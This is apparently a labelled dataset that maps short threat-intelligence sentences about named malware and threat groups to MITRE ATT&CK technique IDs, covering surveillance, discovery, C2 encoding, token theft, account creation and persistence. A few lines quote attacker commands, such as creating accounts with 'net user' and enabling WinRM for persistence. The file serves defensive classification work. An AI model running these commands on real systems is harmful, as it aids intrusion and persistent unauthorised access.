+Cobian RAT has a feature to perform voice recording on the victim’s machine.	['T1123']
+Crimson can perform audio surveillance using microphones.	['T1123']
+DOGCALL can capture microphone data from the victim's machine.	['T1123']
+DarkComet can listen in to victims' conversations through the system’s microphone.	['T1123']
+EvilGrab has the capability to capture audio from a victim machine.	['T1123']
+Flame can record audio using any existing hardware recording devices.	['T1123']
+InvisiMole can record sound using input audio devices.	['T1123']
+Janicab captured audio and sent it out to a C2 server.	['T1123']
+MacMa has the ability to record audio.	['T1123']
+MacSpy can record the sounds from microphones on a computer.	['T1123']
+Machete captures audio from the computer’s microphone.	['T1123']
+NanoCore can capture audio feeds from the system.	['T1123']
+Pupy can record sound with the microphone.	['T1123']
+ROKRAT has an audio capture and eavesdropping module.	['T1123']
+Remcos can capture data from the system’s microphone.	['T1123']
+Revenge RAT has a plugin for microphone interception.	['T1123']
+"T9000 uses the Skype API to record audio and video calls. It writes encrypted data to ""%APPDATA%\Intel\Skype""."	['T1123', 'T1125']
+TajMahal has the ability to capture VoiceIP application audio on an infected host.	['T1123']
+VERMIN can perform audio capture.	['T1123']
+jRAT can capture microphone recordings.	['T1123']
+AppleSeed can pull a timestamp from the victim's machine.	['T1124']
+As part of the data reconnaissance phase, Proxysvc grabs the system time to send back to the control server.	['T1124']
+Astaroth collects the timestamp from the infected machine.	['T1124']
+"BRONZE BUTLER has used ""net time"" to check the local time on a target system."	['T1124']
+BendyBear has the ability to determine local time on a compromised host.	['T1124']
+Bisonal can check the system time set on the infected host.	['T1124']
+"Carbon uses the command ""net time \\127.0.0.1"" to get information the system’s time."	['T1124']
+"Chimera has used ""time /t"" and ""net time \\ip/hostname"" for system time discovery."	['T1124']
+Clambling can determine the current time.	['T1124']
+ComRAT has checked the victim system's date and time to perform tasks during business hours (9 to 5, Monday to Friday).	['T1124']
+Conficker uses the current UTC victim system date for domain generation and connects to time servers to determine the current date.	['T1124']
+DCSrv can compare the current time on an infected host with a configuration value to determine when to start the encryption process.	['T1124']
+DRATzarus can use the `GetTickCount` and `GetSystemTimeAsFileTime` API calls to inspect system time.	['T1124']
+DarkWatchman can collect the time zone information from the system.	['T1124']
+Darkhotel malware can obtain system time from a compromised host.	['T1124']
+During C0015, the threat actors used the command `net view /all time` to gather the local time of a compromised network.	['T1124']
+During Operation CuckooBees, the threat actors used the `net time` command as part of their advanced reconnaissance.	['T1124']
+Egregor contains functionality to query the local/system time.	['T1124']
+"Epic uses the ""net time"" command  to get the system time from the machine and collect the current date and time zone information."	['T1124']
+FunnyDream can check system time to help determine when changes were made to specified files.	['T1124']
+GRIFFON has used a reconnaissance module that can be used to retrieve the date and time of the system.	['T1124']
+GoldMax can check the current date-time value of the compromised system, comparing it to the hardcoded execution trigger and can send the current timestamp to the C2 server.	['T1124']
+Grandoreiro can determine the time on the victim machine via IPinfo.	['T1124']
+GravityRAT can obtain the date and time of a system.	['T1124']
+Green Lambert can collect the date and time from a compromised host.	['T1124']
+HOPLIGHT has been observed collecting system time from victim machines.	['T1124']
+Higaisa used a function to gather the current time.	['T1124']
+Metamorfo uses JavaScript to get the system time.	['T1124']
+NOKKI can collect the current timestamp of the victim's machine.	['T1124']
+Okrum can obtain the date and time of the compromised system.	['T1124']
+PipeMon can send time zone information from a compromised host to C2.	['T1124']
+PowerDuke has commands to get the time the machine was built, the time, and the time zone.	['T1124']
+QakBot can identify the system time on a targeted host.	['T1124']
+SILENTTRINITY can collect start time information from a compromised host.	['T1124']
+"SombRAT can execute ""getinfo""  to discover the current time on a compromised host."	['T1124']
+StoneDrill can obtain the current date and time of the victim machine.	['T1124']
+StrifeWater can collect the time zone from the victim's machine.	['T1124']
+Stuxnet collects the time and date of a system when it is infected.	['T1124']
+"TAINTEDSCRIBE can execute ""GetLocalTime"" for time discovery."	['T1124']
+"Taidoor can use ""GetLocalTime"" and ""GetSystemTime"" to collect system time."	['T1124']
+The White Company has checked the current date on the victim system.	['T1124']
+"Turla surveys a system upon check-in to discover the system time by using the ""net time"" command."	['T1124']
+UPPERCUT has the capability to obtain the time zone information and current timestamp of the victim’s machine.	['T1124']
+WindTail has the ability to generate the current date and time.	['T1124']
+ZIRCONIUM has used a tool to capture the time on a compromised host in order to register it with C2.	['T1124']
+Zebrocy gathers the current time zone and date information from the system.	['T1124']
+build_downer has the ability to determine the local time to ensure malware installation only happens during the hours that the infected system is active.	['T1124']
+Agent Tesla can access the victim’s webcam and record video.	['T1125']
+Bandook has modules that are capable of capturing video from a victim's webcam.	['T1125']
+Clambling can record screen content in AVI format.	['T1125']
+ConnectWise can record video on remote hosts.	['T1125']
+Crimson can capture webcam video on targeted systems.	['T1125']
+DarkComet can access the victim’s webcam to take pictures.	['T1125']
+Empire can capture webcam data on Windows and macOS systems.	['T1125']
+EvilGrab has the capability to capture video from a victim machine.	['T1125']
+FIN7 created a custom video recording capability that could be used to monitor operations in the victim's environment.	['T1125']
+Imminent Monitor has a remote webcam monitoring capability.	['T1125']
+InvisiMole can remotely activate the victim’s webcam to capture content.	['T1125']
+Kazuar captures images from the webcam.	['T1125']
+NanoCore can access the victim's webcam and capture data.	['T1125']
+ObliqueRAT can capture images from webcams on compromised hosts.	['T1125']
+PcShare can capture camera video as part of its collection process.	['T1125']
+PoetRAT has used a Python tool named Bewmac to record the webcam on compromised hosts.	['T1125']
+QuasarRAT can perform webcam viewing.	['T1125']
+Remcos can access a system’s webcam and take pictures.	['T1125']
+SDBbot has the ability to record video on a compromised host.	['T1125']
+TajMahal has the ability to capture webcam video.	['T1125']
+WarzoneRAT can access the webcam on a victim's machine.	['T1125']
+ZxShell has a command to perform video device spying.	['T1125']
+jRAT has the capability to capture video from a webcam.	['T1125']
+A version of PlugX loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application whitelisting techniques.	['T1127']
+Empire can use built-in modules to abuse trusted utilities like MSBuild.exe.	['T1127', 'T1127.001']
+A version of PlugX loads as shellcode within a .NET Framework project using msbuild.exe, presumably to bypass application control techniques.	['T1127.001']
+During Frankenstein, the threat actors used MSbuild to execute an actor-created file.	['T1127.001']
+Astaroth uses the LoadLibraryExW() function to load additional modules.	['T1129']
+Attor's dispatcher can execute additional plugins by loading the respective DLLs.	['T1129']
+BLINDINGCAN has loaded and executed DLLs in memory during runtime on a victim machine.	['T1129']
+BOOSTWRITE has used the DWriteCreateFactory() function to load additional modules.	['T1129']
+Bumblebee can use `LoadLibrary` to attempt to execute GdiPlus.dll.	['T1129']
+"Dtrack contains a function that calls ""LoadLibrary"" and ""GetProcAddress""."	['T1129']
+"FoggyWeb's loader can call the ""load()"" function to load the FoggyWeb dll into an Application Domain on a compromised AD FS server."	['T1129']
+Hydraq creates a backdoor through which remote attackers can load and call DLL functions.	['T1129']
+KillDisk loads and executes functions from a DLL.	['T1129']
+Metamorfo had used AutoIt to load and execute the DLL payload.	['T1129']
+"PipeMon has used call to ""LoadLibrary"" to load its installer. PipeMon loads its modules using reflective loading or custom shellcode."	['T1129']
+Stuxnet calls LoadLibrary then executes exports from a DLL.	['T1129']
+"TajMahal has the ability to inject the ""LoadLibrary"" call template DLL into running processes."	['T1129']
+gh0st RAT can load DLLs into memory.	['T1129']
+After encrypting C2 data, BADNEWS converts it into a hexadecimal representation and then encodes it into base64.	['T1132']
+H1N1 obfuscates C2 traffic with an altered version of base64.	['T1132']
+Linux Rabbit sends the payload from the C2 server as an encoded URL parameter.	['T1132']
+Mythic provides various transform functions to encode and/or randomize C2 data.	['T1132']
+Ursnif has used encoded data in HTTP URLs for C2.	['T1132']
+A JHUHUGIT variant encodes C2 POST data base64.	['T1132.001']
+APT33 has used base64 to encode command and control traffic.	['T1132.001']
+An APT19 HTTP malware variant used Base64 to encode communications to the C2 server.	['T1132.001']
+Astaroth encodes data using Base64 before sending it to the C2 server.	['T1132.001']
+AutoIt backdoor has sent a C2 response that was base64-encoded.	['T1132.001']
+BADNEWS encodes C2 traffic with base64.	['T1132.001']
+BS2005 uses Base64 encoding for communication in the message body of an HTTP request.	['T1132.001']
+BabyShark has encoded data using certutil before exfiltration.	['T1132.001']
+Bisonal has encoded binary data with Base64 and ASCII.	['T1132.001']
+Bumblebee has the ability to base64 encode C2 server responses.	['T1132.001']
+C2 traffic from ADVSTORESHELL is encrypted, then encoded with Base64 encoding.	['T1132.001']
+Carbanak encodes the message body of HTTP traffic with Base64.	['T1132.001']
+ChChes can encode C2 data with a custom technique that utilizes Base64.	['T1132.001']
+Chaes has used Base64 to encode C2 communications.	['T1132.001']
+CharmPower can send additional modules over C2 encoded with base64.	['T1132.001']
+Cobian RAT obfuscates communications with the C2 server using Base64 encoding.	['T1132.001']
+CreepySnail can use Base64 to encode its C2 traffic.	['T1132.001']
+DarkWatchman encodes data using hexadecimal representation before sending it to the C2 server.	['T1132.001']
+Daserf uses custom base64 encoding to obfuscate HTTP traffic.	['T1132.001']
+Denis encodes the data sent to the server in Base64.	['T1132.001']
+Dipsind encodes C2 traffic with base64.	['T1132.001']
+DnsSystem can Base64 encode data sent to C2.	['T1132.001']
+Ebury has encoded C2 traffic in hexadecimal format.	['T1132.001']
+Elise exfiltrates data using cookie values that are Base64-encoded.	['T1132.001']
+"For C2 over HTTP, Helminth encodes data with base64 and sends it via the ""Cookie"" field of HTTP requests. For C2 over DNS, Helminth converts ASCII characters into their hexadecimal values and sends the data in cleartext."	['T1132.001']
+Fysbis can use Base64 to encode its C2 traffic.	['T1132.001']
+GrimAgent can base64 encode C2 replies.	['T1132.001']
+HAFNIUM has used ASCII encoding for C2 traffic.	['T1132.001']
+HOPLIGHT has utilized Zlib compression to obfuscate the communications payload.	['T1132.001']
+Ixeshe uses custom Base64 encoding schemes to obfuscate command and control traffic in the message body of HTTP requests.	['T1132.001']
+KONNI has used a custom base64 key to encode stolen data before exfiltration.	['T1132.001']
+Kazuar encodes communications to the C2 server in Base64.	['T1132.001']
+Kessel has exfiltrated data via hexadecimal-encoded subdomain fields of DNS queries.	['T1132.001']
+Kevin can Base32 encode chunks of output files during exfiltration.	['T1132.001']
+Machete has used base64 encoding.	['T1132.001']
+MechaFlounder has the ability to use base16 encoded strings in C2.	['T1132.001']
+Mis-Type uses Base64 encoding for C2 traffic.	['T1132.001']
+Misdat network traffic is Base64-encoded plaintext.	['T1132.001']
+Mongall can use Base64 to encode information sent to its C2.	['T1132.001']
+More_eggs has used basE91 encoding, along with encryption, for C2 communication.	['T1132.001']
+Mori can use Base64 encoded JSON libraries used in C2.	['T1132.001']
+MuddyWater has used tools to encode C2 communications including Base64 encoding.	['T1132.001']
+Octopus has encoded C2 communications in Base64.	['T1132.001']
+Okrum has used base64 to encode C2 communication.	['T1132.001']
+Patchwork used Base64 to encode C2 traffic.	['T1132.001']
+PingPull can encode C2 traffic with Base64.	['T1132.001']
+PowerShower has the ability to encode C2 communications with base64 encoding.	['T1132.001']
+Prikormka encodes C2 traffic with Base64.	['T1132.001']
+QUADAGENT encodes C2 communications with base64.	['T1132.001']
+QakBot can Base64 encode system information sent to C2.	['T1132.001']
+RDAT can communicate with the C2 via base32-encoded subdomains.	['T1132.001']
+Ramsay has used base64 to encode its C2 traffic.	['T1132.001']
+Responses from the Pisloader C2 server are base32-encoded.	['T1132.001']
+RogueRobin base64 encodes strings that are sent to the C2 over its DNS tunnel.	['T1132.001']
+SMOKEDHAM has encoded its C2 traffic with Base64.	['T1132.001']
+STARWHALE has the ability to hex-encode collected data from an infected host.	['T1132.001']
+Sandworm Team's BCS-server tool uses base64 encoding and HTML tags for the communication traffic between the C2 server.	['T1132.001']
+SeaDuke C2 traffic is base64-encoded.	['T1132.001']
+Several BRONZE BUTLER tools encode data with base64 when posting it to a C2 server.	['T1132.001']
+SideTwist has used Base64 for encoded C2 traffic.	['T1132.001']
+Sliver can use standard encoding techniques like gzip and hex to ASCII to encode the C2 communication payload.	['T1132.001']
+Some Backdoor.Oldrea samples use standard Base64 + bzip2, and some use standard Base64 + reverse XOR + RSA-2048 to decrypt data received from C2 servers.	['T1132.001']
+Some Felismus samples use a custom method for C2 traffic that utilizes Base64.	['T1132.001']
+Squirrelwaffle has encoded its communications to C2 servers using Base64.	['T1132.001']
+Stuxnet transforms encrypted binary data into an ASCII string in order to use it as a URL parameter value.	['T1132.001']
+TA551 has used encoded ASCII text for initial C2 communications.	['T1132.001']
+TrickBot can Base64-encode C2 commands.	['T1132.001']
+Tropic Trooper has used base64 encoding to hide command strings delivered from the C2.	['T1132.001']
+Valak has returned C2 data as encoded ASCII.	['T1132.001']
+WellMess has used Base64 encoding to uniquely identify communication to and from the C2.	['T1132.001']
+Zebrocy has used URL/Percent Encoding on data exfiltrated via HTTP POST requests.	['T1132.001']
+down_new has the ability to base64 encode C2 communications.	['T1132.001']
+gh0st RAT has used Zlib to compress C2 communications data before encrypting it.	['T1132.001']
+njRAT uses Base64 encoding for C2 traffic.	['T1132.001']
+xCaon has used Base64 to encode its C2 traffic.	['T1132.001']
+Cyclops Blink can use a custom binary scheme to encode messages with specific commands and parameters to be executed.	['T1132.002']
+InvisiMole can use a modified base32 encoding to encode data within the subdomain of C2 requests.	['T1132.002']
+Newer variants of BACKSPACE will encode C2 communications with a custom system.	['T1132.002']
+PowGoop can use a modified Base64 encoding mechanism to send data to and from the C2 server.	['T1132.002']
+RDAT can communicate with the C2 via subdomains that utilize base64 with character substitutions.	['T1132.002']
+ShadowPad has encoded data as readable Latin characters.	['T1132.002']
+Small Sieve can use a custom hex byte swapping encoding scheme to obfuscate tasking traffic.	['T1132.002']
+APT28 has used Tor and a variety of commercial VPN services to route brute force authentication attempts.	['T1133']
+APT29 has used compromised identities to access networks via SSH,  VPNs, and other remote access tools.	['T1133']
+APT34 uses remote services such as VPN, Citrix, or OWA to persist in an environment.	['T1133']
+APT41 compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service.	['T1133']
+Chimera has used legitimate credentials to login to an external VPN, Citrix, SSH, and other remote services.	['T1133']
+Doki was executed through an open Docker daemon API port.	['T1133']
+Dragonfly 2.0 used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.	['T1133']
+Dragonfly has used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.	['T1133']
+Dragonfly used remote access services, including VPN and Outlook Web Access (OWA).	['T1133']
+During CostaRicto, the threat actors set up remote tunneling using an SSH tool to maintain access to a compromised environment.	['T1133']
+"During Operation CuckooBees, the threat actors enabled WinRM over HTTP/HTTPS as a backup persistence mechanism using the following command: `cscript //nologo ""C:\Windows\System32\winrm.vbs"" set winrm/config/service@{EnableCompatibilityHttpsListener=""true""}`."	['T1133']
+During Operation Wocao, threat actors used stolen credentials to connect to the victim's network via VPN.	['T1133']
+GALLIUM has used VPN services, including SoftEther VPN, to access and maintain persistence in victim environments.	['T1133']
+GOLD SOUTHFIELD has used publicly-accessible RDP and remote management and monitoring (RMM) servers to gain access to victim machines.	['T1133']
+Ke3chang has gained access through VPNs including with compromised accounts and stolen VPN certificates.	['T1133']
+Kimsuky has used RDP to establish persistence.	['T1133']
+LAPSUS$ has gained access to internet-facing systems and applications, including virtual private network (VPN), remote desktop protocol (RDP), and virtual desktop infrastructure (VDI) including Citrix.	['T1133']
+Leviathan has used external remote services such as virtual private networks (VPN) to gain initial access.	['T1133']
+Linux Rabbit attempts to gain access to the server via SSH.	['T1133']
+OilRig uses remote services such as VPN, Citrix, or OWA to persist in an environment.	['T1133']
+Operation Wocao has used stolen credentials to connect to the victim's network via VPN.	['T1133']
+Sandworm Team has used Dropbear SSH with a hardcoded backdoor password to maintain persistence within the target network. Sandworm Team has also used VPN tunnels established in legitimate software company infrastructure to gain access to internal networks of that software company's users.	['T1133']
+TEMP.Veles has used a VPN to persist in the victim environment.	['T1133']
+TeamTNT has used open-source tools such as Weave Scope to target exposed Docker API ports and gain initial access to victim environments. TeamTNT has also targeted exposed kubelets for Kubernetes environments.	['T1133']
+Threat Group-3390 actors look for and use VPN profiles during an operation to access the network using external VPN services. Threat Group-3390 has also obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network.	['T1133']
+UNC2452 has used compromised identities to access VPNs and remote access tools.	['T1133']
+"AppleSeed can gain system level privilege by passing ""SeDebugPrivilege"" to the ""AdjustTokenPrivilege"" API."	['T1134']
+"Blue Mockingbird has used JuicyPotato to abuse the ""SeImpersonate"" token privilege to escalate from web application pool accounts to NT Authority\SYSTEM."	['T1134']
+Duqu examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges.	['T1134']
+"Empire can use PowerSploit's ""Invoke-TokenManipulation"" to manipulate access tokens."	['T1134']
+FIN6 has used has used Metasploit’s named-pipe impersonation technique to escalate privileges.	['T1134']
+Gelsemium can use token manipulation to bypass UAC on Windows7 systems.	['T1134']
+HermeticWiper can use `AdjustTokenPrivileges` to grant itself privileges for debugging with `SeDebugPrivilege`, creating backups with `SeBackupPrivilege`, loading drivers with `SeLoadDriverPrivilege`, and shutting down a local system with `SeShutdownPrivilege`.	['T1134']
+Hydraq creates a backdoor through which remote attackers can adjust token privileges.	['T1134']
+"PowerSploit's ""Invoke-TokenManipulation"" Exfiltration module can be used to manipulate tokens."	['T1134']
+"Ryuk has attempted to adjust its token privileges to have the ""SeDebugPrivilege""."	['T1134']
+"SUNSPOT modified its security token to grants itself debugging privileges by adding ""SeDebugPrivilege""."	['T1134']
+Sliver has the ability to manipulate user tokens on targeted Windows systems.	['T1134']
+SslMM contains a feature to manipulate process privileges and tokens.	['T1134']
+APT28 has used CVE-2015-1701 to access the SYSTEM token and copy it into the current process as part of privilege escalation.	['T1134.001']
+BitPaymer can use the tokens of users to create processes on infected systems.	['T1134.001']
+Cobalt Strike can steal access tokens from exiting processes.	['T1134.001']
+FinFisher uses token manipulation with NtFilterToken as part of UAC bypass.	['T1134.001']
+Okrum can impersonate a logged-on user's security context using a call to the ImpersonateLoggedOnUser API.	['T1134.001']
+Pupy can obtain a list of SIDs and provide the option for selecting process tokens to impersonate.	['T1134.001']
+SILENTTRINITY can find a process owned by a specific user and impersonate the associated token.	['T1134.001']
+"Shamoon can impersonate tokens using ""LogonUser"", ""ImpersonateLoggedOnUser"", and ""ImpersonateNamedPipeClient""."	['T1134.001']
+"Siloscape impersonates the main thread of ""CExecSvc.exe"" by calling ""NtImpersonateThread""."	['T1134.001']
+Stuxnet attempts to impersonate an anonymous token to enumerate bindings in the service control manager.	['T1134.001']
+Tarrask leverages token theft to obtain `lsass.exe` security permissions.	['T1134.001']
+"Aria-body has the ability to execute a process using ""runas""."	['T1134.002']
+Azorult can call WTSQueryUserToken and CreateProcessAsUser to start a new process with local system privileges.	['T1134.002']
+Bankshot grabs a user token using WTSQueryUserToken and then creates a process by impersonating a logged-on user.	['T1134.002']
+KONNI has duplicated the token of a high integrity process to spawn an instance of cmd.exe under an impersonated user.	['T1134.002']
+"Lazarus Group keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call ""CreateProcessAsUserA"" under that user's context."	['T1134.002']
+PipeMon can attempt to gain administrative privileges using token impersonation.	['T1134.002']
+PoshC2 can use Invoke-RunAs to make tokens.	['T1134.002']
+REvil can launch an instance of itself with administrative rights using runas.	['T1134.002']
+ZxShell has a command called RunAs, which creates a new process as another user or process context.	['T1134.002']
+Cobalt Strike can make tokens from known credentials.	['T1134.003']
+Cobalt Strike can spawn processes with alternate PPIDs.	['T1134.004']
+KONNI has used parent PID spoofing to spawn a new `cmd` process using `CreateProcessW` and a handle to `Taskmgr.exe`.	['T1134.004']
+Empire can add a SID-History to a user if on a domain controller.	['T1134.005']
+"Mimikatz's ""MISC::AddSid"" module can appended any SID or user/group account to a user's SID-History. Mimikatz also utilizes SID-History Injection to expand the scope of other components such as generated Kerberos Golden Tickets and DCSync beyond a single domain."	['T1134.005']
+APT1 listed connected network shares.	['T1135']
+"APT32 used the ""net view"" command to show all shares available, including the administrative shares such as ""C$"" and ""ADMIN$""."	['T1135']
+APT38 has enumerated network shares on a compromised host.	['T1135']
+APT39 has used the post exploitation tool CrackMapExec to enumerate network shares.	['T1135']
+"APT41 used the ""net share"" command as part of network reconnaissance."	['T1135']
+Avaddon has enumerated shared folders and mapped volumes.	['T1135']
+Bazar can enumerate shared drives on the domain.	['T1135']
+"Chimera has used ""net share"" and ""net view"" to identify network shares of interest."	['T1135']
+Clambling has the ability to enumerate network shares.	['T1135']
+Cobalt Strike can query shared drives on the local system.	['T1135']
+"Conti can enumerate remote open SMB network shares using ""NetShareEnum()""."	['T1135']
+"Cuba can discover shared resources using the ""NetShareEnum"" API call."	['T1135']
+DarkVishnya scanned the network for public shared folders.	['T1135']
+During Operation CuckooBees, the threat actors used the `net share` command as part of their advanced reconnaissance.	['T1135']
+During Operation Wocao, threat actors discovered network disks mounted to the system using netstat.	['T1135']
+Empire can find shared drives on the local system.	['T1135']
+FIVEHANDS can enumerate network shares and mounted drives on a network.	['T1135']
+HELLOKITTY has the ability to enumerate network resources.	['T1135']
+Koadic can scan local network for open SMB.	['T1135']
+"Kwampirs collects a list of network shares with the command ""net share""."	['T1135']
+Olympic Destroyer will attempt to enumerate mapped network shares to later attempt to wipe all files on those shares.	['T1135']
+PlugX has a module to enumerate network shares.	['T1135']
+Pupy can list local and remote shared drives and folders over SMB.	['T1135']
+"QakBot can use ""net share"" to identify network shares for use in lateral movement."	['T1135']
+QuietSieve can identify and search networked drives for specific file name extensions.	['T1135']
+SILENTTRINITY can enumerate shares on a compromised host.	['T1135']
+Stuxnet enumerates the directories of a network resource.	['T1135']
+"The ""net view \\remotesystem"" and ""net share"" commands in Net can be used to find shared drives and directories on remote and local systems respectively."	['T1135']
+Tonto Team has used tools such as NBTscan to enumerate network shares.	['T1135']
+TrickBot module shareDll/mshareDll discovers network shares via the WNetOpenEnumA API.	['T1135']
+"Tropic Trooper used ""netview"" to scan target systems for shared resources."	['T1135']
+WastedLocker can identify network adjacent and accessible drives.	['T1135']
+WhisperGate can enumerate connected remote logical drives.	['T1135']
+Wizard Spider has used the “net view” command to locate mapped network shares.	['T1135']
+Zebrocy identifies network drives when they are added to victim systems.	['T1135']
+Dragonfly created accounts that appeared to be tailored to each individual staging target.	['T1136']
+"Indrik Spider used ""wmic.exe"" to add a new user to the system."	['T1136']
+"Sandworm Team added a login to a SQL Server with ""sp_addlinkedsrvlogin""."	['T1136']
+"APT3 has been known to create or enable accounts, such as ""support_388945a0""."	['T1136.001']
+APT39 has created accounts on multiple compromised hosts to perform actions within the network.	['T1136.001']
+APT41 created user accounts and adds them to the User and Admin groups.	['T1136.001']
+Carbanak can create a Windows account.	['T1136.001']
+Dragonfly 2.0 created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target.	['T1136.001']
+Flame can create backdoor accounts with login “HelpAssistant” on domain connected systems if appropriate rights are available.	['T1136.001']
+Fox Kitten has created a local user account with administrator privileges.	['T1136.001']
+GoldenSpy can create new users on an infected system.	['T1136.001']
+Hildegard has created a user named “monerodaemon”.	['T1136.001']
+"Kimsuky has created accounts with ""net user""."	['T1136.001']
+Leafminer used a tool called Imecab to set up a persistent remote access account on the victim machine.	['T1136.001']
+Magic Hound has created a user named `DefaultAccount` on compromised machines and assigned it to the Administrators and Remote Desktop Users groups.	['T1136.001']
+Mis-Type may create a temporary user on the system named `Lost_{Unique Identifier}`.	['T1136.001']
+Pupy can user PowerView to execute “net user” commands and create local system accounts.	['T1136.001']
+SMOKEDHAM has created user accounts and added them to local Admin groups.	['T1136.001']
+"ServHelper has created a new user and added it to the ""Remote Desktop Users"" and ""Administrators"" groups."	['T1136.001']
+TeamTNT has created local privileged users on victim machines.	['T1136.001']
+"The ""net user username \password"" commands in Net can be used to create a local account."	['T1136.001']
+ZxShell has a feature to create local user accounts.	['T1136.001']
+HAFNIUM has created and granted privileges to domain accounts.	['T1136.002']
+PsExec has the ability to remotely create accounts on target systems.	['T1136.002']
+Pupy can user PowerView to execute “net user” commands and create domain accounts.	['T1136.002']
+Sandworm Team has created new domain accounts on an ICS access server.	['T1136.002']
+"The ""net user username \password \domain"" commands in Net can be used to create a domain account."	['T1136.002']
+APT29 can create new users through Azure AD.	['T1136.003']
+APT32 have replaced Microsoft Outlook's VbaProject.OTM file to install a backdoor macro for persistence.	['T1137']
+"Gamaredon Group has inserted malicious macros into existing documents, providing persistence when they are reopened. Gamaredon Group has loaded the group's previously delivered VBA project by relaunching Microsoft Outlook with the ""/altvba"" option, once the Application.Startup event is received."	['T1137']
+Ruler can be used to automate the abuse of Outlook Rules, Forms, and Home Pages to establish persistence.	['T1137']
+BackConfig has the ability to use hidden columns in Excel spreadsheets to store executable files or commands for VBA macros.	['T1137.001']
+Cobalt Strike has the ability to use an Excel Workbook to execute additional code by enabling Office to trust macros and execute code without user permission.	['T1137.001']
+MuddyWater has used a Word Template, Normal.dotm, for persistence.	['T1137.001']
+"APT28 has used the Office Test persistence mechanism within Microsoft Office by adding the Registry key ""HKCU\Software\Microsoft\Office test\Special\Perf"" to execute code."	['T1137.002']
+OilRig has abused the Outlook Home Page feature for persistence. OilRig has also used CVE-2017-11774 to roll back the initial patch designed to protect against Home Page abuse.	['T1137.004']
+Ruler can be used to automate the abuse of Outlook Home Pages to establish persistence.	['T1137.004']
+Bisonal has been loaded through a `.wll` extension added to the ` %APPDATA%\microsoft\word\startup\` repository.	['T1137.006']
+Naikon has used the RoyalRoad exploit builder to drop a second stage loader, intel.wll, into the Word Startup folder on the compromised host.	['T1137.006']
+ABK has the ability to decrypt AES encrypted payloads.	['T1140']
+APT29 used 7-Zip to decode its Raindrop malware.	['T1140']
+APT34 has used certutil to decode base64-encoded files on victims.	['T1140']
+APT39 has used malware to decrypt encrypted CAB files.	['T1140']
+Agent Tesla has the ability to decrypt strings encrypted with the Rijndael symmetric encryption algorithm.	['T1140']
+Amadey has decoded antivirus name strings.	['T1140']
+An APT19 HTTP malware variant decrypts strings using single-byte XOR keys.	['T1140']
+"An APT28 macro uses the command ""certutil -decode"" to decode contents of a .txt file storing the base64 encoded payload."	['T1140']
+AppleSeed can decode its payload prior to execution.	['T1140']
+Aria-body has the ability to decrypt the loader configuration and payload DLL.	['T1140']
+Astaroth uses a fromCharCode() deobfuscation method to avoid explicitly writing execution commands and to hide its code.	['T1140']
+AuditCred uses XOR and RC4 to perform decryption on the code functions.	['T1140']
+Avaddon has decrypted encrypted strings.	['T1140']
+Azorult uses an XOR key to decrypt content and uses Base64 to decode the C2 address.	['T1140']
+BADFLICK can decode shellcode using a custom rotating XOR cipher.	['T1140']
+BBK has the ability to decrypt AES encrypted payloads.	['T1140']
+BBSRAT uses Expand to decompress a CAB file into executable content.	['T1140']
+BLINDINGCAN has used AES and XOR to decrypt its DLLs.	['T1140']
+BRONZE BUTLER downloads encoded payloads and decodes them on the victim.	['T1140']
+Babuk has the ability to unpack itself into memory using XOR.	['T1140']
+BabyShark has the ability to decode downloaded files prior to execution.	['T1140']
+BackConfig has used a custom routine to decrypt strings.	['T1140']
+Bandook has decoded its PowerShell script.	['T1140']
+Bankshot decodes embedded XOR strings.	['T1140']
+Bazar can decrypt downloaded payloads. Bazar also resolves strings and other artifacts at runtime.	['T1140']
+Bisonal has decoded strings in the malware using XOR and RC4.	['T1140']
+BoomBox can decrypt AES-encrypted files downloaded from C2.	['T1140']
+Bumblebee can deobfuscate C2 server responses and unpack its code on targeted hosts.	['T1140']
+"Bundlore has used ""openssl"" to decrypt AES encrypted payload data. Bundlore has also used base64 and RC4 with a hardcoded key to deobfuscate data."	['T1140']
+Carbon decrypts task and configuration files for execution.	['T1140']
+Cardinal RAT decodes many of its artifacts and is decrypted (AES-128) after being downloaded.	['T1140']
+Chaes has decrypted an AES encrypted binary file to trigger the download of other files.	['T1140']
+CharmPower can decrypt downloaded modules prior to execution.	['T1140']
+Chrommme can decrypt its encrypted internal code.	['T1140']
+Clambling can deobfuscate its payload prior to execution.	['T1140']
+Clop has used a simple XOR operation to decrypt strings.	['T1140']
+Cobalt Strike can deobfuscate shellcode using a rolling XOR and decrypt metadata from Beacon sessions.	['T1140']
+CoinTicker decodes the initially-downloaded hidden encoded file using OpenSSL.	['T1140']
+CookieMiner has used Google Chrome's decryption and extraction operations.	['T1140']
+Crimson can decode its encoded PE file prior to execution.	['T1140']
+Cyclops Blink can decrypt and parse instructions sent from C2.	['T1140']
+DDKONG decodes an embedded configuration using XOR.	['T1140']
+DarkWatchman has the ability to self-extract as a RAR archive.	['T1140']
+Darkhotel has decrypted strings and imports using RC4 during execution.	['T1140']
+Denis will decrypt important strings used for C&C communication.	['T1140']
+Drovorub has de-obsfuscated XOR encrypted payloads in WebSocket messages.	['T1140']
+Dtrack has used a decryption routine that is part of an executable physical patch.	['T1140']
+During Frankenstein, the threat actors deobfuscated Base64-encoded commands following the execution of a malicious script, which revealed a small script designed to obtain an additional payload.	['T1140']
+During Operation Dust Storm, attackers used VBS code to decode payloads.	['T1140']
+During Operation Honeybee, malicious files were decoded prior to execution.	['T1140']
+During execution, Threat Group-3390 malware deobfuscates and decompresses code that was encoded with Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression.	['T1140']
+Earth Lusca has used certutil to decode a string into a cabinet file.	['T1140']
+Ebury has verified C2 domain ownership by decrypting the TXT record using an embedded RSA public key.	['T1140']
+Ecipekac has the ability to decrypt fileless loader modules.	['T1140']
+Egregor has been decrypted before execution.	['T1140']
+Exaramel for Linux can decrypt its configuration file.	['T1140']
+Expand can be used to decompress a local or remote CAB file into an executable.	['T1140']
+FatDuke can decrypt AES encrypted C2 communications.	['T1140']
+FinFisher extracts and decrypts stage 3 malware, which is stored in encrypted resources.	['T1140']
+For Operation Spalax, the threat actors used a variety of packers and droppers to decrypt malicious payloads.	['T1140']
